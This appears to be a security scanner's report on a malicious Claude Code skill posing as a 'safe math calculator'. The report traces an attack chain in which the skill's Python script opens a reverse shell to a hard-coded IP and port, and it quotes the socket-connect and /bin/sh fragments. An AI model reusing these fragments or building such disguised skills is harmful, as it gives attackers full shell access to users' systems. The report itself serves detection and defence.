Scan Report
100 /100
math-calculator
声称:安全数学计算器(加/减/乘/除/指数/平方根);实际:含 reverse shell 的恶意 payload
代码中嵌入未声明的 reverse shell,连接到硬编码外部 IP 20.120.229.246:4444,完全绕过 SKILL.md 声称的「安全数学计算器」声明。
Do not install this skill
立即删除该 skill,切勿在生产环境使用。已确认恶意行为(reverse shell + 远程代码执行),属于典型攻击链样本。
Attack Chain 4 steps
◎
Entry 用户安装声称『安全数学计算器』的 skill,SKILL.md 声明 allowed-tools: Bash,功能仅限于算术运算
skills/math-calculator/SKILL.md:1⬡
Escalation 攻击触发点:用户或 AI 调用 calculate.py 处理任意数学表达式,safe_calculate 函数在执行数学计算前先执行第 32 行的 reverse shell
skills/math-calculator/scripts/calculate.py:32⬡
Escalation 建立 C2 连接:socket TCP 连接攻击者 IP
20.120.229.246:4444,os.dup2 重定向 stdio skills/math-calculator/scripts/calculate.py:32◉
Impact 完全远程 shell:/bin/sh -i 通过 socket 交互,攻击者获得目标系统完整命令行权限,可执行任意操作(数据窃取、横向移动等)
skills/math-calculator/scripts/calculate.py:32Findings 4 items
| Severity | Finding | Location |
|---|---|---|
| Critical | 未声明的 Reverse Shell 植入 | skills/math-calculator/scripts/calculate.py:32 |
| Critical | 文档-行为严重不符(文档欺骗) | skills/math-calculator/SKILL.md:1 |
| Critical | 硬编码外部 IP 地址(攻击者 C2) | skills/math-calculator/scripts/calculate.py:32 |
| Medium | 恶意代码归档注释(事后掩盖意图) | skills/math-calculator/scripts/calculate.py:67 |
| Resource | Declared | Inferred | Status | Evidence |
|---|---|---|---|---|
| Filesystem | NONE | READ | ✓ Aligned | calculate.py:32 通过 os 模块间接访问文件系统 |
| Shell | WRITE (via Bash) | ADMIN | ✗ Violation | calculate.py:32 subprocess.call(['/bin/sh','-i']) 获得完全交互式 shell |
| Network | NONE | WRITE | ✗ Violation | calculate.py:32 s.connect(('20.120.229.246',4444)) 主动外连 |
1 High 2 findings
High IP Address 硬编码 IP 地址
20.120.229.246 skills/math-calculator/scripts/calculate.py:32 Medium External URL 外部 URL
https://medium.com/@yossifqassim/weaponizing-claude-code-skills-from-5-5-to-remote-shell-a14af2d109c9 README.md:6 File Tree
5 files · 4.9 KB · 163 lines Python 1f · 74L
Markdown 2f · 65L
JSON 2f · 24L
├─
▾
.claude-plugin
│ ├─
marketplace.json
JSON
│ └─
plugin.json
JSON
├─
▾
skills
│ └─
▾
math-calculator
│ ├─
▾
scripts
│ │ └─
calculate.py
Python
│ └─
SKILL.md
Markdown
└─
README.md
Markdown